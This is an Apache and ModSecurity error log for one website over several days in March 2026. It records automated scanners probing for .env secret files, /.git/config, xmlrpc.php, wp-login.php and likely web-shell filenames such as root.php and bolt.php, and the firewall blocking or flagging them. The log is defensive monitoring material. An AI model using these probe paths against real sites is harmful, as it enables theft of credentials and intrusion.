[Fri Mar 20 02:02:52.879569 2026] [:error] [pid 46124:tid 46193] [client 162.158.2.118:12529] [client 162.158.2.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "abw6TEzMrlLOY6zyCjKJBgAAAE0"]
[Fri Mar 20 02:02:52.883164 2026] [:error] [pid 46124:tid 46200] [client 162.158.3.111:10409] [client 162.158.3.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/var/www/.env"] [unique_id "abw6TEzMrlLOY6zyCjKJBwAAAFQ"]
[Fri Mar 20 02:02:52.897036 2026] [:error] [pid 46125:tid 46219] [client 162.158.2.179:11345] [client 162.158.2.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/www/.env"] [unique_id "abw6TGgN4lI6NHeckY5m1gAAAIU"]
[Fri Mar 20 02:02:53.093763 2026] [:error] [pid 11258:tid 11273] [client 162.158.3.119:12287] [client 162.158.3.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/var/www/html/.env"] [unique_id "abw6TZPHb95f6xzHJOcq9gAAAM0"]
[Fri Mar 20 02:02:53.139712 2026] [:error] [pid 46264:tid 46286] [client 162.158.3.97:10111] [client 162.158.3.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/root/.env"] [unique_id "abw6TYp3TruHFmWOt5H0cgAAAAM"]
[Fri Mar 20 02:02:53.150114 2026] [:error] [pid 46264:tid 46296] [client 162.158.3.91:10791] [client 162.158.3.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/home/.env"] [unique_id "abw6TYp3TruHFmWOt5H0cwAAAA0"]
[Fri Mar 20 02:02:53.162754 2026] [:error] [pid 46264:tid 46301] [client 162.158.2.118:12537] [client 162.158.2.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_config"] [unique_id "abw6TYp3TruHFmWOt5H0dAAAABI"]
[Fri Mar 20 02:02:53.349845 2026] [:error] [pid 46264:tid 46305] [client 162.158.3.104:10033] [client 162.158.3.104] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_secret"] [unique_id "abw6TYp3TruHFmWOt5H0dQAAABY"]
[Fri Mar 20 02:02:53.405973 2026] [:error] [pid 46264:tid 46303] [client 162.158.2.125:10681] [client 162.158.2.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_settings"] [unique_id "abw6TYp3TruHFmWOt5H0dgAAABQ"]
[Fri Mar 20 02:02:53.414430 2026] [:error] [pid 46264:tid 46302] [client 162.158.2.196:10972] [client 162.158.2.196] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.backup"] [unique_id "abw6TYp3TruHFmWOt5H0dwAAABM"]
[Fri Mar 20 02:03:09.141088 2026] [:error] [pid 46126:tid 46254] [client 162.158.2.118:10292] [client 162.158.2.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development.local"] [unique_id "abw6XaQ44YePbsZz3j7ZyAAAARY"]
[Fri Mar 20 02:03:10.755186 2026] [:error] [pid 46264:tid 46303] [client 162.158.3.129:12430] [client 162.158.3.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env.local"] [unique_id "abw6Xop3TruHFmWOt5H0nwAAABQ"]
[Fri Mar 20 06:14:37.383027 2026] [proxy_fcgi:error] [pid 55301:tid 55364] [client 52.187.249.150:39233] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 06:14:37.401687 2026] [proxy_fcgi:error] [pid 55301:tid 55388] [client 52.187.249.150:39233] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 06:14:37.424617 2026] [proxy_fcgi:error] [pid 55301:tid 55385] [client 52.187.249.150:39233] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 06:14:37.445395 2026] [proxy_fcgi:error] [pid 55301:tid 55373] [client 52.187.249.150:39233] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 06:14:37.464892 2026] [proxy_fcgi:error] [pid 55301:tid 55374] [client 52.187.249.150:39233] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 06:14:37.483513 2026] [proxy_fcgi:error] [pid 55301:tid 55379] [client 52.187.249.150:39233] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 06:14:37.498533 2026] [:error] [pid 55301:tid 55381] [client 52.187.249.150:39233] [client 52.187.249.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abx1TcKP1x4sgmjd3xRLtAAAAo0"]
[Fri Mar 20 06:14:37.584073 2026] [:error] [pid 55301:tid 55363] [client 52.187.249.150:39266] [client 52.187.249.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abx1TcKP1x4sgmjd3xRLtQAAAoE"]
[Fri Mar 20 06:14:37.674811 2026] [:error] [pid 55419:tid 55440] [client 52.187.249.150:31575] [client 52.187.249.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abx1TWZBdOmqhJCTdb7VkQAAAxM"]
[Fri Mar 20 06:14:37.747060 2026] [:error] [pid 55301:tid 55369] [client 52.187.249.150:31554] [client 52.187.249.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abx1TcKP1x4sgmjd3xRLtgAAAoc"]
[Fri Mar 20 08:11:29.186403 2026] [proxy_fcgi:error] [pid 55452:tid 55491] [client 20.63.209.197:16271] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 08:11:29.320338 2026] [proxy_fcgi:error] [pid 55452:tid 55486] [client 20.63.209.197:16271] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 08:11:29.444164 2026] [proxy_fcgi:error] [pid 55452:tid 55497] [client 20.63.209.197:16271] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 08:11:29.575595 2026] [proxy_fcgi:error] [pid 55452:tid 55490] [client 20.63.209.197:16271] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 08:11:29.699184 2026] [proxy_fcgi:error] [pid 55452:tid 55499] [client 20.63.209.197:16271] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 08:11:29.824515 2026] [proxy_fcgi:error] [pid 55452:tid 55503] [client 20.63.209.197:16271] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 08:11:29.944848 2026] [:error] [pid 55452:tid 55493] [client 20.63.209.197:16271] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abyQsYlFvOIliSP0R2BTXQAAA4o"]
[Fri Mar 20 08:11:30.447758 2026] [:error] [pid 43163:tid 43167] [client 20.63.209.197:21041] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abyQsp_n4JP_ko9XUswhqwAAAQA"]
[Fri Mar 20 08:11:30.959732 2026] [:error] [pid 55206:tid 55211] [client 20.63.209.197:13794] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abyQsnUc_Wl5viVmsDw0zQAAAUM"]
[Fri Mar 20 08:11:31.451487 2026] [:error] [pid 55299:tid 55306] [client 20.63.209.197:9977] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/root.php"] [unique_id "abyQs_oGhbNgkNIkZwmbHgAAAgE"]
[Fri Mar 20 08:23:37.100785 2026] [:error] [pid 55239:tid 55286] [client 216.24.210.32:27809] [client 216.24.210.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "abyTiaycM6mGWSmcyoIJTwAAAc0"]
[Fri Mar 20 09:31:24.691860 2026] [:error] [pid 49081:tid 49139] [client 49.207.133.164:63142] [client 49.207.133.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.207.133.164, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abyjbBo1LBAUhfhYPR0v6AAAARg"]
[Fri Mar 20 09:31:24.705289 2026] [proxy_fcgi:error] [pid 49081:tid 49139] [client 49.207.133.164:63142] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.014786 2026] [proxy_fcgi:error] [pid 49080:tid 49091] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.139886 2026] [proxy_fcgi:error] [pid 49080:tid 49094] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.265011 2026] [proxy_fcgi:error] [pid 49080:tid 49101] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.397507 2026] [proxy_fcgi:error] [pid 49080:tid 49100] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.523567 2026] [proxy_fcgi:error] [pid 49080:tid 49103] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.650278 2026] [proxy_fcgi:error] [pid 49080:tid 49099] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.775277 2026] [proxy_fcgi:error] [pid 49080:tid 49092] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:33.900689 2026] [proxy_fcgi:error] [pid 49080:tid 49095] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:34.031256 2026] [proxy_fcgi:error] [pid 49080:tid 49093] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:34.157663 2026] [proxy_fcgi:error] [pid 49080:tid 49107] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:34.286721 2026] [proxy_fcgi:error] [pid 49080:tid 49109] [client 20.63.209.197:31245] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 10:51:34.407150 2026] [:error] [pid 49080:tid 49102] [client 20.63.209.197:31245] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aby2Nok5CHi4V0A3ttj6WgAAAFA"]
[Fri Mar 20 10:51:34.893460 2026] [:error] [pid 51714:tid 51717] [client 20.63.209.197:31247] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aby2NjWI82pxvQ0gkss-MAAAAIE"]
[Fri Mar 20 10:51:35.375880 2026] [:error] [pid 51714:tid 51737] [client 20.63.209.197:30599] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aby2NzWI82pxvQ0gkss-NQAAAJU"]
[Fri Mar 20 10:51:35.862124 2026] [:error] [pid 51714:tid 51723] [client 20.63.209.197:36667] [client 20.63.209.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ds.php"] [unique_id "aby2NzWI82pxvQ0gkss-OAAAAIc"]
[Fri Mar 20 11:10:07.184362 2026] [proxy_fcgi:error] [pid 49080:tid 49099] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:07.330285 2026] [proxy_fcgi:error] [pid 49080:tid 49089] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:07.475735 2026] [proxy_fcgi:error] [pid 49080:tid 49110] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:07.621567 2026] [proxy_fcgi:error] [pid 49080:tid 49095] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:07.777166 2026] [proxy_fcgi:error] [pid 49080:tid 49100] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:08.281293 2026] [proxy_fcgi:error] [pid 49080:tid 49094] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:08.452628 2026] [proxy_fcgi:error] [pid 49080:tid 49087] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:08.668805 2026] [proxy_fcgi:error] [pid 49080:tid 49108] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:08.835336 2026] [proxy_fcgi:error] [pid 49080:tid 49107] [client 20.196.218.22:2874] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 11:10:09.005027 2026] [:error] [pid 49080:tid 49103] [client 20.196.218.22:2874] [client 20.196.218.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "aby6kYk5CHi4V0A3ttgDVgAAAFE"]
[Fri Mar 20 11:10:09.657079 2026] [:error] [pid 49170:tid 49188] [client 20.196.218.22:2716] [client 20.196.218.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "aby6kc-c8ctLVDCqUJXTrgAAAA4"]
[Fri Mar 20 11:10:10.233026 2026] [:error] [pid 51714:tid 51729] [client 20.196.218.22:2730] [client 20.196.218.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "aby6kjWI82pxvQ0gkstRDwAAAI0"]
[Fri Mar 20 11:10:10.848350 2026] [:error] [pid 49170:tid 49177] [client 20.196.218.22:2694] [client 20.196.218.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "aby6ks-c8ctLVDCqUJXTsgAAAAM"]
[Fri Mar 20 20:13:29.876044 2026] [:error] [pid 51714:tid 51738] [client 216.24.212.76:47525] [client 216.24.212.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.76, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ab056TWI82pxvQ0gksvhXAAAAJY"]
[Fri Mar 20 20:13:29.910883 2026] [proxy_fcgi:error] [pid 51714:tid 51738] [client 216.24.212.76:47525] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 20:35:40.297188 2026] [autoindex:error] [pid 49082:tid 49144] [client 141.98.11.17:59236] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Mar 21 02:20:33.869565 2026] [:error] [pid 43096:tid 43098] [client 179.165.54.41:52754] [client 179.165.54.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.165.54.41, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ab2P8WBT-qFhoDwy93FjYwAAAIA"]
[Sat Mar 21 02:20:33.880303 2026] [proxy_fcgi:error] [pid 43096:tid 43098] [client 179.165.54.41:52754] AH01071: Got error 'Primary script unknown'
[Sat Mar 21 03:35:44.296873 2026] [:error] [pid 1491:tid 1573] [client 173.177.59.88:61172] [client 173.177.59.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.177.59.88, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ab2hkK3VfHftzE9w9t5jnwAAAIo"]
[Sat Mar 21 03:35:44.313621 2026] [proxy_fcgi:error] [pid 1491:tid 1573] [client 173.177.59.88:61172] AH01071: Got error 'Primary script unknown'
[Sat Mar 21 08:53:17.093879 2026] [:error] [pid 43052:tid 43062] [client 104.28.163.82:42471] [client 104.28.163.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "ab3r_V5fjm-AiInC1hLevQAAA4g"]
[Sat Mar 21 13:11:53.127383 2026] [:error] [pid 43052:tid 43073] [client 34.47.182.97:55561] [client 34.47.182.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ab4omV5fjm-AiInC1hJWKAAAA5M"]
[Sat Mar 21 13:17:45.980430 2026] [:error] [pid 43052:tid 43058] [client 151.18.160.184:41331] [client 151.18.160.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.18.160.184, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ab4p-V5fjm-AiInC1hJZ4QAAA4Q"]
[Sat Mar 21 13:17:45.992452 2026] [proxy_fcgi:error] [pid 43052:tid 43058] [client 151.18.160.184:41331] AH01071: Got error 'Primary script unknown'
[Sat Mar 21 19:44:25.550232 2026] [:error] [pid 1490:tid 1536] [client 49.37.42.182:57154] [client 49.37.42.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.42.182, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ab6EmWSWhIPTatyxDeBO2gAAAEM"]
[Sat Mar 21 19:44:25.561409 2026] [proxy_fcgi:error] [pid 1490:tid 1536] [client 49.37.42.182:57154] AH01071: Got error 'Primary script unknown'
[Sat Mar 21 22:02:01.624382 2026] [:error] [pid 42886:tid 42900] [client 88.119.141.208:64390] [client 88.119.141.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.119.141.208, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ab6k2V452dC6nbNWav2GBQAAAww"]
[Sat Mar 21 22:02:01.636181 2026] [proxy_fcgi:error] [pid 42886:tid 42900] [client 88.119.141.208:64390] AH01071: Got error 'Primary script unknown'
[Sat Mar 21 22:25:24.845077 2026] [:error] [pid 1490:tid 1558] [client 103.160.71.238:63444] [client 103.160.71.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.160.71.238, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ab6qVGSWhIPTatyxDeBvDwAAAFY"]
[Sat Mar 21 22:25:24.856354 2026] [proxy_fcgi:error] [pid 1490:tid 1558] [client 103.160.71.238:63444] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:12:59.792857 2026] [proxy_fcgi:error] [pid 51363:tid 51434] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:00.006031 2026] [proxy_fcgi:error] [pid 51363:tid 51447] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:00.219564 2026] [proxy_fcgi:error] [pid 51363:tid 51442] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:00.430862 2026] [proxy_fcgi:error] [pid 51363:tid 51439] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:00.642895 2026] [proxy_fcgi:error] [pid 51363:tid 51437] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:01.062174 2026] [proxy_fcgi:error] [pid 51363:tid 51450] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:01.272182 2026] [proxy_fcgi:error] [pid 51363:tid 51432] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:01.691306 2026] [proxy_fcgi:error] [pid 51363:tid 51449] [client 52.138.39.105:13336] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 09:13:02.114782 2026] [:error] [pid 51363:tid 51448] [client 52.138.39.105:13336] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab9CHlwa9x6OCTRkhl2O5QAAAJI"]
[Sun Mar 22 09:13:02.939633 2026] [:error] [pid 51363:tid 51440] [client 52.138.39.105:14150] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ab9CHlwa9x6OCTRkhl2O5gAAAIs"]
